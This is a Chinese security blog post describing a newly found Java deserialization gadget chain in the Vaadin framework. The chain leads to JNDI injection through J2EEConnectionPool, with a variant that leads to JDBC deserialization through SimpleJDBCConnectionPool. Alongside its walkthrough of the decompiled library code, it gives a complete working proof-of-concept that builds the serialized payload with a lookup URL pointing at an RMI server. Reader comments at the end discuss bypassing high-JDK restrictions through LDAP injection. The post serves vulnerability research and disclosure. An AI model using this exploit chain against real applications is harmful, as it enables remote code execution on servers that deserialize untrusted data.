Vaadin新反序列化链
前言
博客许久没有更新
了。究其原因,是因为工作了接近两年的时间里,我在业余时间里接触安全知识
的欲望正在不断的降低,今天在临国庆前一天工作上的事情并不多,所以就写下了这篇博客,希望能慢慢找到那种写博客的渴望。
J2EEConnectionPool
原Vaadin链
可以参考我之前的文章:https://www.aiwin.fun/index.php/archives/4398/,主要是通过控制NestedMethodProperty#getValue
中的Method.invoke
中的参数达到命令执行的效果。
整个链子的入口也是Java Gadgets
常见的toString
方法,即PropertysetItem#toString
,从而把整个链子都能引向HashMap、HashTable、BadAttributeValueExpException
等readObject
开端。
但其实这里通过getItemProperty
方法其实就是从map
中根据propertyId
来获取值,而map
可以通过addItemProperty
方法控制值,也就是说可以找到其它类的getValue
方法,从而形式新的触发链。
在AbstractSelect#getValue
方法中,首先从AbstractField#getValue
方法中获取值,其实就是触发下方的getFieldValue
返回value
的值,而value
是其中一个可控的参数。所以retValue
是可控的,而this.items
也是可反射控制的参数,从而能够控制SQLContainer#ContainsId
方法,需要注意的是无论是AbstractField
还是AbstractSelect
都是abstract
修饰的方法。
public abstract class AbstractField<T> extends AbstractComponent implements Field<T>, ReadOnlyStatusChangeListener, ReadOnlyStatusChangeNotifier, ShortcutNotifier {
private T value;
private T getFieldValue() {
return this.dataSource != null && !this.isBuffered() && !this.isModified() ? this.convertFromModel(this.getDataSourceValue()) : this.getInternalValue();
}
protected T getInternalValue() {
return this.value;
}
在SQLContainer#ContainsId
中,当cachedItems
和removedItems
不包含retValue
的值,且retValue
属于RowId
类但是又不是TemporaryRowId
的类时,就能够来到this.queryDelegate.containsRowWithKey
方法中,注意这里addedItems
也需要赋值,否则会触发报错。
public class SQLContainer implements Container, Filterable, Indexed, Sortable, ItemSetChangeNotifier {
private QueryDelegate queryDelegate;
public boolean containsId(Object itemId) {
if (itemId == null) {
return false;
} else if (this.cachedItems.containsKey(itemId)) {
return true;
} else {
Iterator var2 = this.addedItems.iterator();
while(var2.hasNext()) {
RowItem item = (RowItem)var2.next();
if (item.getId().equals(itemId)) {
return this.itemPassesFilters(item);
}
}
if (this.removedItems.containsKey(itemId)) {
return false;
} else if (itemId instanceof ReadOnlyRowId) {
int rowNum = ((ReadOnlyRowId)itemId).getRowNum();
return rowNum >= 0 && rowNum < this.size;
} else {
if (itemId instanceof RowId && !(itemId instanceof TemporaryRowId)) {
try {
return this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());//触发点
} catch (Exception var4) {
getLogger().log(Level.WARNING, "containsId query failed", var4);
}
}
return false;
}
}
}
在TableQuery
类中,存在containsRowWithKey
方法,当primaryKeyColumns
与sqlGenerator
都不为空,能顺利走到下面,activeConnection
为空,就会进去beginTransaction
方法当中。
public boolean containsRowWithKey(Object... keys) throws SQLException {
ArrayList<Filter> filtersAndKeys = new ArrayList();
if (this.filters != null) {
filtersAndKeys.addAll(this.filters);
}
int ix = 0;
for(Iterator var4 = this.primaryKeyColumns.iterator(); var4.hasNext(); ++ix) {
String colName = (String)var4.next();
filtersAndKeys.add(new Equal(colName, keys[ix]));
}
StatementHelper sh = this.sqlGenerator.generateSelectQuery(this.getFullTableName(), filtersAndKeys, this.orderBys, 0, 0, "*");
boolean shouldCloseTransaction = false;
if (!this.isInTransaction()) {
shouldCloseTransaction = true;
this.beginTransaction();
}
ResultSet rs = null;
boolean var8;
try {
rs = this.executeQuery(sh);
boolean contains = rs.next();
var8 = contains;
} finally {
try {
if (rs != null) {
this.releaseConnection((Connection)null, rs.getStatement(), rs);
}
} finally {
if (shouldCloseTransaction) {
this.commit();
}
}
}
return var8;
}
TableQuery#beginTransaction
会触发父类AbstractTransactionalQuery#beginTransaction
,在这个方法当中,会通过连接池当中reserveConnection
方法进行连接。
J2EEConnectionPool#reserveConnection
能通过触发getDataSource
从而来到ic.lookup
达到jndi
注入的效果,dataSourceJndiName
是可直接赋值进行控制的。
因此整一条的Gadgets
如下:
PropertysetItem#toString->
AbstractSelect#getValue->
SQLContainer#ContainsId->
TableQuery#containsRowWithKey->
J2EEConnectionPool#reserveConnection->jndi注入
SimpleJDBCConnectionPool
同样在SimpleJDBCConnectionPool#reserveConnection
方法中,当没有初始化的时候,会通过initializeConnections
进行初始化,从而最终触发DriverManager.getConnection
方法达到jdbc
反序列化的效果。
那么为什么Vaddin
中要出现跟JDBC
进行连接的类呢?这与整个Vaddin
的依赖有关,能够将所有的代码全部采用Java
代码语言实现,不需要编写任何JavaScript
代码,拥有种类丰富的UI
接面组件库,先进的事件监听和数据绑定功能,所以它是需要与数据库进行交互,获取数据从而动态刷新UI界面的。
整个Gadgets
的poc
如下:
package com.example.Vaadin;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.NativeSelect;
import sun.reflect.ReflectionFactory;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class Vaddin {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, SQLException {
SimpleJDBCConnectionPool simpleJDBCConnectionPool=new SimpleJDBCConnectionPool("com.mysql.cj.jdbc.Driver","rmi://127.0.0.1:8085/LgcBAOEy","test","test");
J2EEConnectionPool j2EEConnectionPool=new J2EEConnectionPool("rmi://127.0.0.1:8085/LgcBAOEy");
Class<?> table=Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery");
TableQuery tableQuery= (TableQuery) createWithoutConstructor(table);
setSuperValue(tableQuery,"connectionPool",j2EEConnectionPool);
setFieldValue(tableQuery, "primaryKeyColumns", new ArrayList<>());
setFieldValue(tableQuery,"sqlGenerator",new DefaultSQLGenerator());
Constructor<SQLContainer> sql=SQLContainer.class.getDeclaredConstructor();
sql.setAccessible(true);
SQLContainer sqlContainer=sql.newInstance();
setFieldValue(sqlContainer,"queryDelegate",tableQuery);
NativeSelect nativeSelect=new NativeSelect();
RowId rowId=new RowId(new RowId("1"));
setSuperValue(nativeSelect,"value",rowId);
setSuperValue(nativeSelect,"items",sqlContainer);
setSuperValue(nativeSelect,"multiSelect",true);
PropertysetItem pItem=new PropertysetItem();
pItem.addItemProperty("test",nativeSelect);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException,"val",pItem);
byte[] bytes=serialize(badAttributeValueExpException);
unserialize(bytes);
}
public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static <T>Object createWithoutConstructor(Class<?> classToInstantiate) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(classToInstantiate,Object.class,new Class[0],new Object[0]);
}
public static <T>T createWithoutConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Constructor<?> objCons=constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> constructor= ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate,objCons);
constructor.setAccessible(true);
return (T) constructor.newInstance(consArgs);
}
public static Object InvokeMethod(Object object, String name) throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method method=object.getClass().getDeclaredMethod(name);
method.setAccessible(true);
method.invoke(object);
return object;
}
public static void setFieldValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
public static void setSuperValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=getField(object.getClass(),name);
field.setAccessible(true);
field.set(object,value);
}
private static Field getField(Class<?> clazz, String fieldName) {
while (clazz != null) {
try {
return clazz.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}
文章标题:Vaadin新反序列化链
文章链接:https://aiwin.fun/index.php/archives/4423/
最后编辑:2024 年 10 月 1 日 08:43 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
打rmi的话,那高版本了,是吗。
打rmi的话,那不能用高版本了,是吗。
依赖不可以使用高版本,如果是JDK的高版本,可以尝试下控制serializeData字段进行高版本的ldap注入